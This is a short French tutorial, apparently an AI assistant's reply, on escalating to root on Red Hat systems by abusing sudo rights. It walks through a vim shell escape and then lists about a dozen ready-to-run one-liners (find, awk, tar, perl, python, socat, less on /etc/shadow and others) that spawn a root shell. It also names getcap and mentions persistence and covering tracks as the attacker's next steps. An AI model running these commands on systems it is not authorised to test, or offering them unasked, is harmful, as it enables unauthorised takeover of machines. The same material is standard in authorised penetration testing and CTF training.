Concept : L'exploitation des privilèges sudo
Sur les systèmes Red Hat, le fichier `/etc/sudoers` définit quels utilisateurs peuvent exécuter des commandes avec les privilèges d'un autre utilisateur (généralement root). Si une commande autorisée permet nativement l'exécution d'un shell ou la lecture/écriture de fichiers, un utilisateur standard peut devenir root sans connaître le mot de passe de ce dernier.
Mise en œuvre pratique
Connecté en tant qu'utilisateur standard, la première étape consiste à vérifier quels droits sudo vous ont été attribués :
sudo -l
Si le résultat affiche une ligne comme celle-ci, vous avez une faille potentielle :
`User <votre_user> may run the following commands on host: (root) NOPASSWD: /usr/bin/vim`
Dans cet exemple, l'administrateur a autorisé l'exécution de `vim` sans mot de passe. `vim` est un éditeur de texte qui permet d'exécuter des commandes système.
* Lancez `vim` avec sudo :
sudo vim
* Une fois dans l'interface de `vim`, passez en mode commande en tapant `:`.
* Tapez ensuite la commande suivante pour ouvrir un shell :
!/bin/bash
Vous vous retrouvez immédiatement avec un accès root sur la machine.
Il existe une liste exhaustive de binaires qui, s'ils sont autorisés dans le fichier `sudoers`, permettent une escalade immédiate. Vous pouvez consulter le site GTFOBins, qui est la référence absolue pour ce type de manipulation.
Voici quelques autres binaires classiques pour l'élévation de privilèges (Il faut que sudo -l fonctionne) :
sudo find . -exec /bin/bash \; -quit
sudo less /etc/shadow (puis taper !/bin/bash)
sudo awk 'BEGIN {system("/bin/bash")}'
sudo nmap --interactive (puis !sh)
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
sudo zip /tmp/x /tmp/x -T -TT 'sh #'
sudo perl -e 'exec "/bin/bash";'
sudo python -c 'import os; os.system("/bin/bash")'
sudo socat stdin exec:/bin/bash
sudo c89 -wrapper /bin/bash,-s .
sudo man man (puis taper !/bin/bash)
Si sudo -l ne fonctionne pas tester pluto getcap :
getcap -r / 2>/dev/null
Une fois root, la dernière étape du hacker est généralement la Persistance (s'assurer de pouvoir revenir même si le serveur redémarre) et le Nettoyage des traces.
Souhaitez-vous que l'on regarde comment utiliser LinPEAS plus en détail ou préfères-tu un exemple concret sur une faille spécifique (comme une mauvaise configuration Sudo) ?